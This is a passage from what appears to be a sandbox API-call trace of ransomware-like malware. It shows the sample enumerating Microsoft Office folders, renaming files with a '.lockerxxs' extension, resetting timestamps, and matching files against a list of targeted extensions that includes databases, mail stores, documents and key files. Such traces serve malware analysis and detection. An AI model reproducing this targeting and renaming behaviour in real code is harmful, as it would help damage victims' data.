Office\\Stationery\\1033\\PINELUMB.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg.lockerxxs")) returned 1 [0066.871] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.871] CloseHandle (hObject=0x8c) returned 1 [0066.871] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.htm.lockerxxs")) returned 1 [0066.875] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.875] CloseHandle (hObject=0x8c) returned 1 [0066.876] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg.lockerxxs")) returned 1 [0066.879] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.879] CloseHandle (hObject=0x8c) returned 1 [0066.879] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.htm.lockerxxs")) returned 1 [0066.881] lstrcmpA (lpString1=".", lpString2="Templates") returned -1 [0066.881] lstrcmpA (lpString1="..", lpString2="Templates") returned -1 [0066.882] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8120, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.883] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.883] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.883] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.883] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0066.883] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0066.883] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x502558 [0066.886] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.888] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.888] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.888] lstrcmpA (lpString1=".", lpString2="Access") returned -1 [0066.888] lstrcmpA (lpString1="..", lpString2="Access") returned -1 [0066.888] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0066.906] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.906] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.906] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.908] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.908] CloseHandle (hObject=0x90) returned 1 [0066.909] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\", lpString2="Assets.accdt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt" [0066.909] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.ems") returned 0 [0066.909] lstrlenA (lpString="*.ems") returned 5 [0066.909] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.db") returned 0 [0066.909] lstrlenA (lpString="*.db") returned 4 [0066.909] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.dbf") returned 0 [0066.909] lstrlenA (lpString="*.dbf") returned 5 [0066.909] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.myox") returned 0 [0066.909] lstrlenA (lpString="*.myox") returned 6 [0066.909] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.myo") returned 0 [0066.909] lstrlenA (lpString="*.myo") returned 5 [0066.909] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.qbw") returned 0 [0066.909] lstrlenA (lpString="*.qbw") returned 5 [0066.909] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.qbb") returned 0 [0066.909] lstrlenA (lpString="*.qbb") returned 5 [0066.909] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.qbm") returned 0 [0066.909] lstrlenA (lpString="*.qbm") returned 5 [0066.909] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.qbo") returned 0 [0066.909] lstrlenA (lpString="*.qbo") returned 5 [0066.909] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.qbx") returned 0 [0066.909] lstrlenA (lpString="*.qbx") returned 5 [0066.909] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.qba") returned 0 [0066.909] lstrlenA (lpString="*.qba") returned 5 [0066.909] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.qby") returned 0 [0066.909] lstrlenA (lpString="*.qby") returned 5 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.qbj") returned 0 [0066.910] lstrlenA (lpString="*.qbj") returned 5 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.ofx") returned 0 [0066.910] lstrlenA (lpString="*.ofx") returned 5 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.qif") returned 0 [0066.910] lstrlenA (lpString="*.qif") returned 5 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.mye") returned 0 [0066.910] lstrlenA (lpString="*.mye") returned 5 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.mbox") returned 0 [0066.910] lstrlenA (lpString="*.mbox") returned 6 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.eml") returned 0 [0066.910] lstrlenA (lpString="*.eml") returned 5 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.pst") returned 0 [0066.910] lstrlenA (lpString="*.pst") returned 5 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.ost") returned 0 [0066.910] lstrlenA (lpString="*.ost") returned 5 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.idx") returned 0 [0066.910] lstrlenA (lpString="*.idx") returned 5 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.dbx") returned 0 [0066.910] lstrlenA (lpString="*.dbx") returned 5 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.sql") returned 0 [0066.910] lstrlenA (lpString="*.sql") returned 5 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.mdb") returned 0 [0066.910] lstrlenA (lpString="*.mdb") returned 5 [0066.910] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.fdb") returned 0 [0066.910] lstrlenA (lpString="*.fdb") returned 5 [0066.911] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.wab") returned 0 [0066.911] lstrlenA (lpString="*.wab") returned 5 [0066.911] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.dat") returned 0 [0066.911] lstrlenA (lpString="*.dat") returned 5 [0066.911] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.txt") returned 0 [0066.911] lstrlenA (lpString="*.txt") returned 5 [0066.911] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.jpeg") returned 0 [0066.911] lstrlenA (lpString="*.jpeg") returned 6 [0066.911] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.jpg") returned 0 [0066.911] lstrlenA (lpString="*.jpg") returned 5 [0066.911] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.png") returned 0 [0066.911] lstrlenA (lpString="*.png") returned 5 [0066.911] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.php") returned 0 [0066.911] lstrlenA (lpString="*.php") returned 5 [0066.911] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.cs") returned 0 [0066.911] lstrlenA (lpString="*.cs") returned 4 [0066.911] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.cpp") returned 0 [0066.911] lstrlenA (lpString="*.cpp") returned 5 [0066.911] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.rar") returned 0 [0066.911] lstrlenA (lpString="*.rar") returned 5 [0066.911] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.zip") returned 0 [0066.911] lstrlenA (lpString="*.zip") returned 5 [0066.911] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.html") returned 0 [0066.911] lstrlenA (lpString="*.html") returned 6 [0066.912] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.htm") returned 0 [0066.912] lstrlenA (lpString="*.htm") returned 5 [0066.912] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.xlsx") returned 0 [0066.912] lstrlenA (lpString="*.xlsx") returned 6 [0066.912] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.xls") returned 0 [0066.912] lstrlenA (lpString="*.xls") returned 5 [0066.912] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.mp4") returned 0 [0066.912] lstrlenA (lpString="*.mp4") returned 5 [0066.912] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.ppt") returned 0 [0066.912] lstrlenA (lpString="*.ppt") returned 5 [0066.912] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.pptx") returned 0 [0066.912] lstrlenA (lpString="*.pptx") returned 6 [0066.912] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.doc") returned 0 [0066.912] lstrlenA (lpString="*.doc") returned 5 [0066.912] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.dot") returned 0 [0066.912] lstrlenA (lpString="*.dot") returned 5 [0066.912] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.docx") returned 0 [0066.912] lstrlenA (lpString="*.docx") returned 6 [0066.912] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.7z") returned 0 [0066.912] lstrlenA (lpString="*.7z") returned 4 [0066.912] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.tar") returned 0 [0066.912] lstrlenA (lpString="*.tar") returned 5 [0066.912] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.bz2") returned 0 [0066.913] lstrlenA (lpString="*.bz2") returned 5 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.gz") returned 0 [0066.913] lstrlenA (lpString="*.gz") returned 4 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.mkv") returned 0 [0066.913] lstrlenA (lpString="*.mkv") returned 5 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.eml") returned 0 [0066.913] lstrlenA (lpString="*.eml") returned 5 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.msg") returned 0 [0066.913] lstrlenA (lpString="*.msg") returned 5 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.edb") returned 0 [0066.913] lstrlenA (lpString="*.edb") returned 5 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.accdb") returned 0 [0066.913] lstrlenA (lpString="*.accdb") returned 7 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.odb") returned 0 [0066.913] lstrlenA (lpString="*.odb") returned 5 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.java") returned 0 [0066.913] lstrlenA (lpString="*.java") returned 6 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.asm") returned 0 [0066.913] lstrlenA (lpString="*.asm") returned 5 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.pfx") returned 0 [0066.913] lstrlenA (lpString="*.pfx") returned 5 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.pem") returned 0 [0066.913] lstrlenA (lpString="*.pem") returned 5 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.p12") returned 0 [0066.913] lstrlenA (lpString="*.p12") returned 5 [0066.913] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt", pszSpec="*.gpg") returned 0 [0066.914] lstrlenA (lpString="*.gpg") returned 5 [0066.914] lstrcmpA (lpString1=".", lpString2="DataType") returned -1 [0066.914] lstrcmpA (lpString1="..", lpString2="DataType") returned -1 [0066.914] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f81c0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.003] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.003] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.003] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.004] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.004] CloseHandle (hObject=0x94) returned 1 [0067.005] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\", lpString2="Address.accft" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft" [0067.006] lstrcmpA (lpString1=".", lpString2="Part") returned -1 [0067.006] lstrcmpA (lpString1="..", lpString2="Part") returned -1 [0067.006] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f81c0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.010] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.011] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.011] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.012] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.012] CloseHandle (hObject=0x94) returned 1 [0067.013] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\", lpString2="1 Right.accdt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt" [0067.014] lstrcmpA (lpString1=".", lpString2="WSS") returned -1 [0067.014] lstrcmpA (lpString1="..", lpString2="WSS") returned -1 [0067.015] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f81c0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.015] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.015] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.015] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.016] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.016] CloseHandle (hObject=0x94) returned 1 [0067.017] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\", lpString2="107.accdt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt" [0067.023] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.023] CloseHandle (hObject=0x8c) returned 1 [0067.024] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\", lpString2="AdjacencyLetter.dotx" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" [0067.033] lstrcmpA (lpString1=".", lpString2="FAX") returned -1 [0067.033] lstrcmpA (lpString1="..", lpString2="FAX") returned -1 [0067.033] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f81b2, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.035] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.035] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.035] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.037] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.037] CloseHandle (hObject=0x90) returned 1 [0067.037] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\", lpString2="EquityFax.Dotx" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx" [0067.039] lstrcmpA (lpString1=".", lpString2="ONENOTE") returned -1 [0067.039] lstrcmpA (lpString1="..", lpString2="ONENOTE") returned -1 [0067.039] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f81b2, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.039] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.039] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.039] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.039] lstrcmpA (lpString1=".", lpString2="14") returned -1 [0067.039] lstrcmpA (lpString1="..", lpString2="14") returned -1 [0067.039] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.040] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.041] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.041] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.041] lstrcmpA (lpString1=".", lpString2="Notebook Templates") returned -1 [0067.041] lstrcmpA (lpString1="..", lpString2="Notebook Templates") returned -1 [0067.041] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.042] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.042] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.042] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.043] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.044] CloseHandle (hObject=0x98) returned 1 [0067.044] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\", lpString2="Notebook03.onepkg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\Notebook03.onepkg") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\Notebook03.onepkg" [0067.044] lstrcmpA (lpString1=".", lpString2="Stationery") returned -1 [0067.044] lstrcmpA (lpString1="..", lpString2="Stationery") returned -1 [0067.044] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 